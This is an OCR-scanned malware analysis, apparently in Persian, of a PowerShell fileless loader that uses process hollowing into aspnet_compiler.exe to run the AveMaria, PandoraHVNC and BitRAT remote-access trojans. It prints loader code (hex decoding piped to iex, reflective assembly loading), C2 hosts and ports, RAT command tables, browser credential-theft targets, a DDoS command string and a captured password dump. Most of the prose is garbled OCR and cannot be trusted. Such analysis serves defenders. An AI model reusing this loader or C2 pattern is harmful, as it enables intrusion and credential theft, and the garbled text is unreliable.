55 |$acciiChars = ShewString -split | | |ForEach-Object {[char] [byte]”0x§ ") :8asciiString = SasciiChars —

. |iein ' idasciiScring | I'E'x

36

a7 |#uspUILD

38

33 | [byte(]] $non= = B(31,139,8,0,0,0,0,0,4,0,220, { ... } Malware 3
/159,142,223, 1,121, 191,224,95,255, 7,245, 49,203,223, 0,44, 60, 0)

40

4L |$hexString = "SB 62 79 74 65 SB SD { ... ) 55 47 55 43 44 52 53

4z |52 52 93 59 55 47 49 48 4F 59 52 S4 53 45 54 52 54 59 44 55 47 49 4F 48 29 29 0A":

43 |$eeciiChars = ShexString -split | | |ForEach-Object {[char] [byte]”0x§_"};9asciiString = SasciiChars -
Join ''idssciistring | iex

m

as
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\Fol yp0 | wleMbl (5)qlid Capinl dolivlo

O C@puio G2,b 51158130 0 (6l )5 ¢l 4S50 oslaiuwl Lo)l3813 1 SO o (6l (SlnSy Ghis jl g Cuwl ol iy dw ghl> 35 ¢l
9o el

iS50 2yl 03,08 L 1) GZIp a5 el gy (54g) (5ol ShexString iy gugio gl @

gz |y sl Net Jgilo <o g (Payload) )38l oymeas a5 cuwl PowerShell (sbgy 35 (gol> ShexString ¢paegs @
S50 2yl 03,08 s | Oy A5yl

ibse (GZip-compressed malware payload) 81 exis 63,68 § Gyse A5 (g9l a5 cwl Sy wl)l <o Snona @
Jojle 9 SNONA ;3 Hli8la Cyie 35 (43 63k Caga g Wloddd 2lysciwl ShexString ouegs 1, PowerShell (gloas
Aioles bl o e 93 53 1) Gye A5 B Dgd 0 438,550 . Net L5l

o [byte[l] SRSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-
DecompressedByteArray Snona

o [byte[l]l SROSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-
DecompressedByteArray SSTRDYFUGIHUYTYRTESRDYUGIRI

SRDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG jl I, Glsls Net Jojlodoad() @ olislay a5 agkd 0 oLy 5

A5 loBhd 9 ()10

oS yiohl 93 b 1) projFUD.PA Execute() iz Net 151 Jgilo 4 baspe gl B aiS,e (Sleahsé |y Invoke() @b oS ashd Guaw

od9l (sl &5 PowerShell a1 i Lol )3 .68 (Slgs1yé wewl Fileless jlala oy 35 ()50 g jume JS @ bgyye exe Jolb o
Cawl 0345 0313 (L «@id)S )8 eslaiuwl 3yg0 58100

[Reflection.Assembly]:Load(SRDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').Get
Method('Execute’).Invoke(Snull,[object[]] (

'C:\Windows\Microsoft. NET\Framework\v2.0.50727\aspnet_compiler.exe',SRSETDYUGUIDRSTRDYUGIHOYRTS
ETRTYDUGIOH))
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\Fol jo0 | wleVbl (g)gld Cayinl doliolo

NET (b2 Jojle

lo>1é PowerShell ;1 projFUD.PA.Execute() of @b 39450 2lyaiwl ShexString yuie ¢raegs 51 NET 1515 g Loy Jojle
(Break) wasdgi yj JSui .l PA (uVS I (souac Execute() 9 (wiS b PA (name space) b sbasd projFUD ¢ )5 &5 dg4 50
R AT U'.wu 8)[) L)"l 599)9 ) |) (Debugger) uL)dLiwl doly

& dnSpyv6.1.8 (64-bit, .NET, Debugging) - 8 x

Fle Edit View Debug Window

e
-2
.-
©

P Continue [ ] >

Assembly Explorer 2
b System (2.0.0.0) -

1 // projFUD.PA -
b B System.Xml (200.0) 2 // Token: @x@6008007 RID: 7 RVA: @x@8002334 File Offset: Bx@0000534
4 & test 0000) 3 public stetic void Execute(string path, byte[] payload)
P
b tm:;e o 5 int num = 11;
s for (i3
b =8 Type References 7 ‘
b = References 8 . int num2 = num;
b 0 Resources a for (53)
b} - 10 {
P {} KINKoZ4SRRIRWEO 11 bool flag;
4 rojFUD 12 int numé;
4 P JPA@UZUUUUUZ 13 int num28;
14 switch (num2)
P Base Type and Interfac = H
Derived Types. 16 case 1:
®, .cctor() : void @I6000( 17
@, AFrcYBqhS0SgRI0IQbI 18 string @string = PA.QUXVUPIBZBA3M2ITGG().GetString(new byte[]
@, AUDE3ISqIDg270GVO 19 i
), B3SIETSIhMIFXmOA 2e 84,
@ BinaryToString(string) 2 1, =
@, EjulypvUAhseivekYs( 00% |~
P Execute: ytel)] | ocale o5z
e G;.;: DU Name Value Type -
o aroQZAoldmi2eGEgh | @ path @'C rosoft.NET\ 0 aspnet_c tring
@, GVidhRyQifiDpYNG( D: P”"’"'m ‘U%Z[DUD#DJSSUECUUD b{ﬁ“
@, HIPTTidBSPGAAwbYy num. in
@ numb 0:00000000 int

®, iliefXPINIcr3gefaTlob
@, KgiPWIQNFVGRHiana(
@, kwkUTSWhpdXStsGtP!
@, KZGVIGgXg6KFbw7251

b @ startupinformation
b @ processlnformation
@ name

{projFUD.PAStartuplnformation}
{projFUD.PAProcessinformation}

projFUD.PA Startuplnfor
projFUD.PAProcesslnfor
-

ctrinn

3

DL leRue7aFP AwIWRGROTIL ™

Locals | Watch1 Memoryl Analyzer CallStack Modules Memory2

@235 aspnet_compiler.exe s sl 32> dwgp @ 1) 810 Oyde 35 B deib 0 plodl o (sl © ©y2wsS GiSole g 2! b
LS

268 ' ' ' . continue; a
269 | ! !
278 : : : continue;
271 ! ! ! b
272 H H \ case 9
273 [ try
274 1 H H i
275 E E E : PA.StartupInformation startupInformation;
276 : : : : PA.ProcessInformation processInformation;
o 27 ! ! ! . flag =|'.-athJ string.Empty, IntPtr.Zero, IntPtr.Zero, false,
0)(08000004—:- 1342177320, IntPtr.Zero, null, ref startupInformation, ref
' ' ' E processInformation);
278 | i i 1 int num3 = 4;
279 [ | if (PA.xgUKC7BWqu7qOudgnp() '= null)
280 H H H R ¢
281 [ i goto IL_128;
282 ! H H P
283 [ | string name;
284 | | | | int nums;
285 E E E E int srcOffset;
286 : : : | dint numl4;
287 E E E E int numl5; .
EPP ! ! ! L e s
100% -
Locals
Mame Value Type ]
@ path @"CAWindows\Microsoft. NET\Framewerk\v2.0.50727\aspnet_compiler.exe” string
b @ payload {byte[0x0000ECO0]} byte[]
@ num20 000000000 int
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ol ygo | wleMbl (g)9lid ool aoliolo

aspnet_compiler.exe jl glawgy B aiS50 (lo>18 ) (CreateProcessA()) eb 4 Windows « bayye APl Execute() g6 (umaw
S yghileo «uwl CREATE_SUSPENDED 9 CREATE_NO_WINDOW I (55,5 ¢l .33S |,=l Create Flag 0x8000004 Loy U I,
Canl 03 631> (5Lind Vb JSib >

031 )0 1) Hlade iS50 (HISHL g Hdius o )3 1) )80 Cyse 35 @) boyyo (Gl@o3ls g 631> Hauasd dwgy Rl G 1) bdl> dalsl >
Spmaz) 9 AS(50 0pusd |y - PEB jLaisl 4 - Process Environment Block ¢ )3 a5 (ple s 0 ,uss OX7EFDEO0O8 akdl>
S S )Ll eaid (55 13810 yde 35 @ o - EIP jLaisl « - Extended Instruction Pointer a5 aos ;o yuuei (glaigS « |y ail)yd

Do (o318 Wow6b4SetThreadContext() ¢puizen g WriteProcessMemory() 0 bgiyo APl )b iz 3L ¢oledl

35 2553 S Bl 1y li8lay (6)135)L 31,8 U sgi 0 (5lo>1hd ResumeThread() @ boayo APl cales )5 «§gd Jolyo plad JuoSS 1 Guny
S50 S 1y e slaul 0555 awgyy processinformation. ThreadHandle .l sael API ¢l (Slg>hé )3 oslatiuwl 5)g0

num15 = (int)PA.LX99ujNZ7X3YScj6 T4(PA.ResumeThread,
PA.vgxYHNXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method,

new object(]

}

processinformation.ThreadHandle

)3

@ o3l> Jlwyl 6955 (508 6w I ulms lelbl by 6955 3590 )3 g 3)S @dlgs j5yad )8l duw (pl Gy 35 (g9) p doldl )
Dl lamlsp 8»09) PRST-N lob.dl UJuol)Q Oﬁl L .).ulybn a5 b.'jLoL)él OHZeD g ‘L,J)‘uS U..\,ol)s %) by),o ULJ)D C2 )9y

AveMariaRAT (Jabs (99 13818

@izl ju WARZONE RAT @b b oS el (RAT jLaisl 4 — Remote Access Trojan) ygs ol 51 swyiw lgy3 cul S5 Ave Maria
b Roall dlas | o So 6w 595 ol | JyiiS g (Hbyd (wlus lelbl Céw b oShg jl (glosyinS taub 3950
S50 @ol)d lazlgs (s 1) )50 3)lg0 9 ()93 yglal bus «oliSws 9 ol 51 1S (Privilege Escalation) «olLasl g.8,5»

ol §)35 (,Pby8 oSiws )> aspnet_compiler.exe s dloul 13> dwgy 4 Cuwl )58 dw (Rl Hle )3 45 Cuwl (618130 gl ¢l

9o hal puaw 9
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\Fol jo0 | wleVbl (g)gld Cayinl doliolo

Z,ng plf

0 (6)13550) (5120315 g (LiSiey AS . Cawl 634 (613550 ()T PE jlisle .bSS indw )5 RCA a5 cwnl (390 4 Ave Maria (g35)Sw

PR bJLMS)O) wsloosls y; S5 3940 50 b.lbws)n) Lg.).u;.u @ bgye (s lawl ‘)]}éb.g sjllely (:»Lii!b Wyl 51)8 .bss )0 95,
Ao 50 ol 1) abdls

Bcru | @ Breakponts | M8 emoryMap [ (D) calstack | Ssen | Lol saipt | & symbos [
wov_ecx, 85 7

all anzoac o

moy_ecx. duord ptr ss:fenp-s]
call 406
add e

!

ssesssssessnnss

esp, o
lea_ecx,dword ptr ss:[[ebp-cl)
a1l s0303e
mov eax,dword ptr ss:([[ebpsl

« " 3

Geoumo 1 | gWoump2 | WWoums [ eoump4 [ $Woumes | @ wath1 [ peltecas | f(Y
Address SCIT

006324C 8]
0063240 8]
006324E8]
006324F 8}
00632508]
oae3zs1s)
oaeazs2e)
o325 58]
D0e32549]
0063255 8]
00632568 29 48 9B[12|28 65 25 26|B9 A4 &4 37

CC 6D 21 Bl

Erae na;m-g -

Switch (galaes aSb wuwl (0X3E7) ¢l 85,5 ¢ (C2 jLaizl & — Command and Control) os¢yleyd g Jy6S jgpmw Joliv lgid &5 ¢pl
User Account ) (55 Glus 568 a5l b g &5 b 35S a8lal 5395 (chal diws @ 1) 395 0L LT aSil aiile g4 0 Jolis 35 1) Flag
2 b 3 95 1y Windows Defender b (UAC jLaisl 45 — Control

‘P9 Ialf

35 L C2 jgp 9 (spisine o S5 3o (S8 o> )i @) Egpib )5 )18y C2 9w @) 395 JLasl Ave Maria o5 oio
Ll 0345 ()1 3550) RCA &y90 4 warzone160 wols

29 BB 66 E4 70 EA 00 00 TE 00 00 00 00 00 00 00

00 FA 07 00 00 00 00 00 60 EA 00 00 4D 5A 90 00

220b50 ) 3)lge Jolid oslw (ko diun ¢yl

g Egyi dword OXE466BB29 )lade L L v yo @

Cawl OXO0 T 3o bl diidlas 3929 (4loyd (sl (slosld zum ST .l loyd (sloosls ojlasl OXEA7Q

ol diws ol oloyd oylas OXTE @

Dl 3929 (loyd (gl (gledls S 3ile digad i (Rl )3 (ol Jlb SO oS Jiwd (loyd (losdls gamy gloesls e
39450 031> ialad (gledls b

el pj slocabld Jolid Ave Maria 138l

[Process Manager (File Explorer .Remote Shell (Remote VNC ,Laisl 4 -Remote Virtual Network Computing
s HRDP Manager (Remote Keylogger « blé <G (¢ly=l 9 35b1> (Reverse Socks Password Manager (Remote Webcam
<Ol Las] 818)5 (uized
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\Fol joo | wiledbl (g)9lid ol aolinlo

ger - FRANK-PC

Status

Clear Logs

Offline Logs

5389 a5 A (50 i S (Pl @3 se i C2 Hgymw cuaw )3 1) (Command 24H) Remote Keylogger « bgyyo cubld Vb JSui
D90 bud (5532 42 qeadd(50 )Lk ()8 ol )3 1) ENter g muiS5e ol 1) Hlis S5 9 03,5 5L 1, Chrome )5)g

5 Gyl ()59, dlas 1 5 (635 (cdeliyp I Hodiwedbol wleMbl cdyw o8l ol Password Manager cubld Bas
DBL 0y Jael Capde lodely

Google Chrome, Epic Privacy browser, Microsoft Edge, UCBrowser, Tencent QQBrowser, Opera, Blisk, Chromium,

Brave-Browser, Vivaldi, Comodo Dragon, Torch, Slim, CentBrowser, Microsoft Internet Explorer, Mozilla Firefox,
Microsoft Outlook, Microsoft Messaging, Mozilla Thunderbird, Tencent Foxmail, and more.

)
sub_tg
Ly \User Datay\Default\\Login Data",
L'\\ToogTeNsThronessUser Datat\local State™,
a,

j

3
U7 = *(_DUORD *)Credentials_gata;
Sub_4ACLAR
L™ \User Data\\Default\\lLogin Data",
L"™\\EpIc Privacy Brouser\\User Data\ilocal State”,
o,
8,
6);
ug = *(_DUORD *)Credentials_data;
sub_49C4A8
Ly \User Data\iDefault\ilogin Data“,
L"\\FICrosoFTANEdgeNiUser Data\llocal State”,
8,

I

n

v9 = =(_DUORD =)Credentials_data;

sub_uocans
Ly User Data_i18n\\Default\\UC Login Data.17",
L"\\UCBrowser\\User Data_i18n\\Local State”,

i

0,
(LPUDID)1,
8);
10 = *(_DUORD *)Credentials_data;
sub_nocung
L™w{Tencents\00Browser]\User Data\\Default\\Login Data”,
Ls\\Tencents\0Browseri\User Data\ilocal State”,
8,
ooe
sub_402003(&u31);
u26 = x({ DUORD <)Cr ials data + 2);
[Encrupt_data_send_to_c2_server((int)y&uis); |
SU6_HTIFG(EDTS]
ooe

|

o Layyel (sl bl jl 1) (20H (yleyd) (ziuwdlol wlelbl Ave Maria o5 (;o5ia el (pseudoCode) aSawi jl (g pguas Yo JSai
[GUSYER [RW) LS)LSS}A) RC4 095/1') S b_'k.w.xk_/Jbo] OleMbl B .)yub,o L)-’|99l)9 =20 QS Oﬁl ) ,.).ASL,A L_A_Q)AA) b_u).uul ;)9),0 Rz )

S Juyl C2 j9pm a2 )y 3T
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\Fol jo0 | wleVbl (g)gld Cayinl doliolo

Crmd Num Description

O0oH Ask for basic information of the victim’s device.

o2H List running processes.

0oaH Start File Explorer.

osH MNavigate file.

0o8H Retrieve a file from Awve Maria home folder
(26LocalAppDatass\Microsoft Vision'\) on the victim device.

OAH Delete a file.

ocCch Kill a process.

OEH Execute a shell command.

12H List victim’'s camera device information.

14H Start victim’s camera.

16H Stop the camera.

18H Obtain the title of the active program.

1Aah Uninstall Ave Maria client from the victim’s device.

1Ch Transfer a file from C2 server to the victim’s device.

1EH Transfer an executable file to the victim’s device and run.

20H Obtain the credentials of the apps from the victim’s device.

22H Download a file from a given URL and execute.

24aH Start the online keylogger.

26H Stop the online keylogger.

28H Install HRDP Manager on the victim's device.

2AH Rewverse connect to C2 server for HRDP.

204 Start the Remote WNC.

32H Stop the Remote WVINC

38H Start reverse sock.

2AH Execute a specified file on the victim's device.

3CH Start the offline keylogger.

3EH,40H Privilege Escalation.

48H Transfer a file to the victim.

anH Retrieve a folder from the victim device.

PandorahVNC RAT 21 599 )l38la

9 CH L )ldlay ¢l 3950 3235 RegAsm.exe @ )lj)15 ¢l )3 a5 el PandorahVNC Rat (gl (6)l38)eys Jold (590 158100 (093
oaoby (55l miwedlol csleMbl by jubds (plocabld i uisas Cusl 0idb 6313 a=wgs Microsoft NET Framework
9 GHiS gaohd &5 Gl s S0 Sluiy opé g Foxmail Outlook Firefox Microsoft Edge Chrome sile g
G ol JyiiS Cagz 0yt 9 )8 3lS amdio g ugle (5) S (inlaiaman | GuSe (5i8)S wwgyy S sh2l Cgz lecabi

Adibse bis 1

Zd9| dl.’>).o

b)libmub.w 9 TCP olf).\ C2 )9y U“’)j ‘L{b).a.w 03] ,_\.lfbﬁ uu)_v_x ]) ) L;L(b).a,v_w ol ) PandorahVNC RAT L}JLQ 09V )1}91_\.9
950 03wl T 1 C2 Hgpm @ loosls Jle)l plKie a5 siums

string str = "vncgoga.duckdns.org"; //C2 server
string str2 = "1338" // TCP port
string identifier = "3H4RHL"; // Group id
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i1 p50 @l 1)l 1) PandoraHVNC RAT (sloculils plas o5 baseb4 b sads (613545 didy G 5l diwd Jgjlo 2yl @ ¢ ugw

Sl L3z dwgy 53 (O lo U OyzesS LuSole g (el Bl jasges) Process Hollowing Gisgy L 1) ol Jgjle dalsl )
S8 1w 1) ol 1 o5 Jold Sse (s A (50 i (Microsoft .Net framework jl (L1d) cvires.exe sas

‘C:\Windows\Microsoft. NET\Framework\v4.0.303719\"
"C:\Windows\Microsoft. NET\Framework\v2.0.50727\"

3 ) awlid g 055)3 (C2 jgyuw ()T 3950 2, ¢l 51 PandoraHVNC RAT Lol Joile (shzl (g0 il lag )05 3)90 (116 )51
A2 (50 Ubw.) |) Process HO”OWing lolqjl LY} by)n AS)J) di.w .)Jguub,o d.cum VA dwgy D U)D.A.)S (S)I.XK.QL? O

e
® 29 if ry. B> i i LNET) o "))
:
gl
:
z
:
36 Decoded Core module
. i
38 1), HVNC.diByte, true, true, "RemoteDesktop”, HVNC.PID);
E
20 1se if (0 FtNET AN
a2 i ticrosoft NET\\Framework\\v2.0.50727 \\cvtres. exe”,|
: .
46 ipport,
i
29 }), HUNC.dLByte, true, true, "RemoteDesktop”, HVNC.PID);
!
o catch (Exception) Decoded Core module

1109.) db)n

25 )R0ea5 5> IS g 50 1) (508 6w B 3gads0 Jluyl C2 jopmw 4 g 02 $)91@ez (53U)8 oSws jl gl wleMbl s yo ¢yl 5>

Cawl 63 0315 Hinled (gldiwn (yuiz (gledly

BeaBaaas
Beapeals
aeapeazs
2eapeass

22008858
BaaBaaGas

62 @0 08 60 09 00 88 86

a6 8l @8 @@ ee T ff ff

@@ @6 @1 2@ 02 00 4a 36
34 52 48 4c 7c 42 6 62
43 7c 55 53 7c 57 69 be
72 6T 66 65 73 73 69 &
39 2f 32 38 32 32 7c 33
7c @b

T 21 @@ @@ @@ 00 @0 68

35 34 33 32 31 7c

73 48 42 4f 42 53
64 6f 77 73 28 37
6e 61 Bc 7c 38 35
2e 31 7c 46 Bl Bc

33 48
2d 5@
28 58
2f 38
73 &85

...... 36 54321 |3H
4RHL |Bob s{@BOBS-P
C|uUs|win dows 7 P
rofessio nall|@s/e
9/2022|3 .1|False

031y . Cuwl 034 ©90 9 )0 L,Jb)w Binary ObJeCt @ ) (G Lgl.&bo.\l.\ Cawl A o)‘l_\jl ,JS 0x62 R (N e Qoo dAc C)-.é-l9l

OX0b ()3T .l usiio Job b pusus dde K g pj (sloaii, b ojlulas (ca=y Ox4a .cuwl Header (,eo5 16H("00 01 ... 0000")

Ll (531> dalls > Flag <o

Pga20l8 06 9 (S8 (58 pb (BHARHL) cpMs (529)S awlish ((TOL1) ciawn 0)ladd Jolid a5 1) 03ds pgo 9 j0 (I 4ty Jl=
() Caigd5 s (05/09/2022) 2,5 (Windows 7 Pro) pitsses sleMbl (US) ilyd 3l5e cusbe 35 (Bobs@BOBS-PC)

JuleL’A ‘(False) 39‘“’L§"° 83wl (50929 Jsm.o )‘l IJT dﬁul 9
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350 o ) JSaib ablas Cuud SO 3 1) (5318 Gledbl 3,5 dly)s |y diws (¢l C2 g a5 oKin

W monc 2 Resstscae

v meancosy T & ronun

B e

UM-’LOJ (590 YL L}S.w S l.J)""S l) (_,.)L))Q 8w 90 )3 39>g0 L_ngd.u/S ©$9) 2 J.JSN 9 Ca s $9) Cu.ul) L.i_;ulS L ,\_)I9_) (J,O)SJD
B350 i ) o (glodin)S g Casly SLIS 06 )5 034 6313

------------------------------- 3388*. Received Packet
,,,,,,,,,,,,,,,,,,,,,,,, 3388 |==[Chrome Passwords]==

[PASSWORD]

Hostname: https://twitter.com/i/flow/login
Username: BN . com

Password: 4

Sent Packet

[ PASSWORD]
Hostname: https://dashboard.nylas.com/sign-in
Username: b m

Password:

[PASSWORD]

Hostname: https://www.amazon.ca/ap/signin
Username: bdi R om

Password: /e

==[Chrome Passwords]==

Gy ()52 2o WYoA (layd ojlads b (538> (yleyd JyiiS dim @ bayye Jol 2 w30 (inles |) diw 93 51 (5 apad b JSib
Pandora Recovery (g9, ySo SoulS plSio 43 (508 (miwcdbol eslebl ey jl Gug 45 Gl Yol diwg ojlai b C2 jgpuw 4y ()l
loads pge g yeo (b )0 @ Binary Object ;s i 93 (pl i )53 5.5 Wi a5 jghailas 3gd50 Sl
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A0 Ginle s e &l PandoraHVNC RAT &5 1) (plocabld g (Jyis ¢paohd plad ol 1) Jod

Crmd Num Description

o Start to capture the screenshot.

i Abort the screenshot.

2 Simulate mouse left button DOWN.

3 Simulate mouse right button DOWIN.

a Simulate mouse left button UP.

S Simulate mouse right button UP.

[=3 Perform mouse double click.

7 Simulate to press a Key.

8 Mowve the mouse to a given point.

= Send the data of the system clipboard to its C2 server.
10 Set given data to system clipboard.

11 Start a Chrome browser with specified parameters.
1z Start Mozilla Firefox with specified parameters.

13 Show the StartMenu.

14 Minimize Pandora HVNC Rat.

i5 Show Pandora HVNC Rat to the victim.

16 Show a pop-up message to the victim.

17 Set screenshot interval.

is Set screenshot quality.

19 Set screenshot size.

21 Start Explorer program.

24 Kill the current process.

30 Start Microsoft Edge browser with specified parameters
32 Start Brave browser with specified parameters

50 Call KillnMiner() to kill a process.

55 Download a file into 26temp%: folder as a Miner.

56 Download a file and execute.

G0 Start an Opera browser with specified parameters.
555 Restart Outlook.

556 Restart FoxMail.

S5 Restart Thunderbird.

666 Kill current Pandora HVYNC Rat.

1337 Send Pong packet.

3306 Push data to override the system clipboard.

3307 Obtain the data from the system clipboard.

3308 Obtain credentials and cookies from the victim’s browsers.
4875 Start a CMD program.

4876 Start a PowerShell program.

8585 Start a Chrome browser with a default URL.

8586 Kill all Chrome browsers.

8587 Reset Scale.

8589 Same as 56. Download a file and execute.

BitRAT J2B oL )I}.él.\g

oly il Guoyiws (ylogyi SO dgdis0 aiaS oS Cuwl BitRat g0 @235 aspnet_compiler.exe awgy 4 o5 Ll (93 )1581% aogw
oleMbl (Keylogger) y,15 Jawgi o 8348 (sloauls (Clipboard (sleesls yulas wlelbl g)qlgaz (slocabld BitRat )18l .l Hg3
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I, (Voice Recording) lae bus g (Webcam Logging) oliuwss ()93 @apb 1 pglas el walite (63,015 (cloaoly (smiwedlol
LS 593 ol) I i (Jald o shzl 9 9Ll yukds (LS eliwws IS (gl slodyimS (HS peeld Se pold plezles gl
)15 3929 0yue g Reverse Socks o uigpw g awgy J s

19l al=ye

2oy &S (e e Hliv dbdls )5 |y (T (5350)S odd (pLiS)e) ) JSi .l Ave Maria Rat wlive BitRat (513550 (g3i0)Sw
13 3829 (o4 13,505 3)l90 o (f2D8D66873ca9713a) xS dwliss (A%e) ol5)5 g C2

Fsed | 8] 3] ] g e ] o e )

O0S0E1RS byte ptr Eebp—‘i%_. oD “|Registers (OMX)
00S0E1BD byte ptr [ebp—4]. & fad OLASFBEC
0050E1C1 ecx, dword ptr [ebp-1F4] KCX 01ABFDDA
0047DB5D N ED¥ 00000048
edi, eax EBX 00000000
0050E1CE byte ptr [ebp-4]. 11 ESP 01A5FA0S
0050E1D2 esp, 20 EBP 01A5FDED
00S0E1DS esi, esp : ~|ESI 01ASFACSR
O0AT 9048 00 00 00 EG 28 37 7B 92 JA 00 04 AT

70 61 73 6F 6F 9F 64 75 63 6B 6d|maraipason. duckd
67 7C 38 39 30 7C 30 7C 66 32 62| ns.org|290]|0[f2b
37 33 63 61 39 31 33 61 TC 49 6E 8b66873cadl3alln
20 70 61 74 68 7C 49 6 73 74 61 stall path|Insta
6D 65 TC 38 31 64 63 39 62 64 62 11 name |81dc9bdb
64 63 32 30 30 33 36 64 62 64 38|52d04dc20036dhd3
30 35 35 7C 74 6F 72 7C 03 03 03|313d055 [tor|LLL
SV S VIURRGI R VIV S5 VIV RN U1V IV VIR V1 V] B N Y O P
9B 00 00 38 19 AB 00 98 87 A7 00| )3i@+..8l&?
DOATI0ER 00 00 00 00 00 00 00 OF 00 00 00|............ ..
DOATO0FE| 00 35 36 35 35 65 37 34 00 00 00 00 00 00 00 00[.5655e74........

00AT90
00AT90
00AT90

oslaiwl atuwn JEnl ez AES g RSA (6)13550) wuSyi 51 TLS 1.2 JSIg,0 (6005550 b Gus . 050 4olsl C2 jgymw a1 Jlasl g (bl
obgy b g (g)l3535 Basebtd ygeo i gesly o 3 a5 dede gl ) (Jae p) JSé dgdbse
.Aisbﬁ dlw)' C2 9 TLS 12 JSJQ)J @J)b jl ]) IRV Lg)l:)j},o) L;L(D a5y ‘WLQJ ) AJQ.uuL,,o (S)L')S}A) AES'256

AES-256 encrypted

TLS v1.2 protocol

Base64 encoded
Plain text :

BitRat Client BitRat C2 Server

A2350 ol ) (Debugger) LSl )1i8ley 51 (695 g2) JSib . Cawl 6395z 03l (siie diny Sy &S @0 2udS Yikd ol
S (e (513535 Baseb4 g a1 (50,8 6w aulgl leMbl (6550 b 1y edlw (ke aius ol )> BitRat I8l oS

[Paused | ) 0 ] 00 5] 0 7 0] ) ] )] ) ) ] ) 5 ) ]
E8

0068E3DE ~|Re

mov base6d encode EC
0061 ED.
, 18 EB
3 ; -|Es
66 32 62 38 62 36 36 38 37 33 63 61 39 31 33 61 £ZbBb66873cadl3a
7C 46 52 41 4E 4B 2D 50 43 5C 4D 30 59 54 65 73 |[FRANK-PC\NOVTes
30 45 6E 76 7C 49 6E T4 65 6C 28 52 43 6F 72 65 OEnv|Intel (RCore
28 54 4D 69 37 2D 36 37 30 30 2C 20 47 50 55 3A (THi7-6700, GPU:
I 20 47 72 61 G
9 63 73 20 41 64 61 70 74 65 72 20 28 57 44 hics Adapter (WD
D 29 7C 57 69 6E 20 37 20 20 28 78 38 36 29 DI) [Win 7 (x86)
C 36 64 20 30 68 20 35 6D 20 35 73 TC 31 d Oh 5m 5s(14
C 2D 7C 30 7C 33 20 47 69 42 7C 4E 2F 41 7C 1|-|0|3 GiB[N/A|
2 35 36 7C I 2 32 OF 2356 22.
C 31 7C 2D 31 7C 41 64 6D 69 6E 7C 31 2E 33/5|1|-1|Admin|1.3
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00/8. ... ...........
019 9 02 00 10 b 68 03 b0 08 69
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oL (f2b8b66873cad13a) wuin)S awlih j| Aiblue Lo ido ¢l t1loads las e jl «|» b a5 cuwl (63b) (gloindo Jolis dims ¢l

RAM jlads qaimn (6)5(5 (yloj @S (4393 (pidg) (yloj e (Win 7) aiwaw pb (GPU @)ls (CPU wlelbl o3gu10lS ol (g5

00 4 i 2y dlzyo ) ope g (1.38) BitRat sl cinls dium us b Cusl ADMIN @iwaw 4 3959 )15 LT aSil P (Slis

Sgise Jyl C2 Hgpm a3 Coled )3 g 0asd (6)13550) AES-256 &g 4y g (513535 Baseb64

JyiS 1y 039JT 6w Wilgise )5 a5 (ol gise yolb ol (S boly )3 (530)8 ol 3,5 bl |y diws (¢l C2 Hgpmw a5 (o5

AS

1[09.) 419)0

Pby8 ol S g |y (leyd 1VY) (J)iiS (leyd (6L slaes 1) cuwl PandoraHVNC g AveMariaRAT jl 535,38 BitRat

,.\Ibbb,a djbl

3929 leJ)S 8w dﬂJ9| OleMbl a2 Cow )DL ADS(0 Uluu_\ C2 Jopw Caow )d leJ)Q Pl 4 ,JL-aJI pliim ) l) .))wi)b 2 d&u

General  Surveillance  System  Netwark Mls(l

L1602 Cauwyed Cawly Cuaw ) Lol jl (50 o5 s )d o)l

@ Connedtion enaypted

\

—

PC name FRANK-PC.
PC manufacturer
PC model
PC domain WORKGROUP
System uppiffe 6d 2h 14m 17 {Last booty
Usemapfe MOYTes0Env

Patightpe | The | —

Sydemiocae | Basic | enus

Microsoft Windows 7 Utimaty
05 languale Engiish - United States

Timd zone {UTC-08:00) Pacfic Time (US & Cyrads)

05 version &1 75018t 7601)
05 install date 20180510
BIOS innotek GmbH, Defauit System BIOS

:56:53)

General

System

@ Information
Surveillance

9 Audio
H  Screen

et locale Englih, United States =
Proessor INfO | intel(R) Core(TM) 76700 CPU @ §.40GHz fmac: 34 Mz | =% \Vebcam
Gradpic card (1) I Graphics Adapter (WDJM) (5.1.12.33181) = Keylogger v
Moni (1 Generic Non-FnP Moritor (1153815 - 60 Hz)

Misc

®  Hidden desktop/hVNC
&% Passwords »

@ Remote browser

& Autoruns

Files
Processes
Registry
Remote shell
Software
Services

Task scheduler

Windows

me@EON®Rg

Network
&7 Connections

Dods0 Shl T (g9i0 Gayb 5l 35 1) (slotablB «3yguils )3 odib 031> inle (glocuhl jl e «

e Chat

e (Clear browsers

e  (Clipboard management

e DLL injection

e Change desktop background
e  Open website

e Notes

e UAC bypass

e  Kill Windows Defender

e Show preview of screen or webcam
e Keylog download & search

e Reverse socks

e  System management (reboot, shutdown, sleep, etc.)

e BitRat client's update and uninstall
e DDoS attack (plugin)
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e Mining (plugin)
e Telegram bot (plugin)
e  Passwords Logins (plugin)

‘row al=ye

)13 jL5 (Plaintext) ests ke atun (4L gz AES256 (aldShe, 4 b iSipe bl |y JyiiS ployd atu BitRat o olKio

@350 2uogd »j JUo jl eslasiwl L 1) edlw (it diun )il
"ddos_startiIMTkyLjE20C4yMi4xNQ==|3333|1[tcpltcp|T|0|L3NpdGUucGhwP3g9dmFsMSZ5PXZhbDI="
g 50 S8 oo 11" ol b a5 3980 Egpd (g3 (slyiolly 9 jgiwd pU aids) b (5)giw dinn 0

wawl olog b ddos_start o ;5 &5 &S Egpi ) DDOS dlas u o5 wwlgdpe 039l oKiws I YU Jlie Hgiwd
3333wl oudis (¢)13535 (Baseb4-encoded) Base-64 g a5 cunl 55 3)90 Gao [P (Sl MTkyLjJE20C4yMidxNQ==
_\.lebA a3l> O bgg)n ..XL\.Q u)).DT 9 «o» C)T )L\ﬁ.n «\» deu) O)LAJ) awl th @9}) .\.uubbﬁ Flood method ).JJ th ‘).5_3))9@ (Y1)

o9Me I) o3id ;@3S (85H (gl ddos_start wisle) ¢yleyd o)laid 9 loyd pU (s9l= (sl0)S @ T 5> &S uyed BitRat )81 4L gl
L oS Cunl (g16)S (cgavins 53 (glaidy aunlio b g o, (T Ga,b jl a5 5l =uU BitRat )18l . 3iS e adgl ;23,1380 Flag paiz p
